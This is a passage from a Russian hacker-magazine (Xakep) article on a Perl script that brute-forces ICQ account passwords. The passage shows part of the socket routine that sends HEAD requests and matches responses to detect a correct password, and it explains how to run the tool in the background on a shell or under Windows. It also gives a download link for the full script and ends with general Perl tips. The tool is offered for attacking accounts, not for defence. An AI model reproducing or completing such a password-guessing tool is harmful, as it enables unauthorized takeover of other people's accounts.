Персональный ICQ брутфорс

Xakep, номер #047, стр. 047-086-3

PeerPort => 80,

Proto => tcp)

or return -1; # Создадим сокет, либо возвратим -1

$get=~s/\r|\n//g; # Удалим из пути к скрипту все спецсимволы

print $socket "HEAD $get HTTP/1.0\n\n"; # Посылаем HEAD WWW серверу

while (<$socket>)

{

$answer=$_;

chomp($answer);

if ($answer=~/$positive/) # Анализируем результат

{

close($socket);

return 1

}

if ($answer=~/$negative/)

{

close($socket);

return 0

}

}

}

Анализ данных из сокета происходит следующим образом: если строка совпала с подстрокой positive - делаем вывод, что пароль найден (возвращаем 1), иначе вернем 0 (пароль неверен).

Разбор полетов

Вот, собственно, и весь скрипт. Все просто, если правильно составить алгоритм и грамотно оформить код. Что делать со скриптом? Это на твой выбор. Запускай его на *nix шелле в бэкграунд (типа perl icq.pl &), либо под Win, используя ActivePerl.

Как видишь, я пытался сделать этот скрипт универсальным. То есть ты легко можешь добавить в него свой код или изменить мой (если что-то не устраивает). Скачать полный скрипт можно по адресу: http://kamensk.lael.ru/forb/soft/icq.zip. При появлении вопросов можешь написать мне - я постараюсь ответить, ибо люди должны помогать друг другу ;).

Хитрости кода

В коде ты увидишь переменную $debug. Как видно, почти все print() выполняются при условии, что $debug отлична от нуля. Поэтому, если тебе не нужен лишний мусор, присвой ей 0.

Бывает, что после отправки HEAD, сервер отвечает, что перегружен (попробуйте обратиться позднее). Если ты желаешь отловить это сообщение, то сделай некоторые изменения в коде (поверь, это несложно) и модифицируй скрипт.

Условия в Perl

Как сказал один человек, на Perl можно писать стихи - из-за гибкой реализации кода, в частности условий. Условия в Perl могут задаваться как:

if ($true) { $xakep=1; $lamer=0 } # для составных операций,

так и:

$xakep = 1 if ($true); # для одиночных операций.

Также не забывай про логические операторы || и && (они работают быстрее or и and и имеют более высокий приоритет).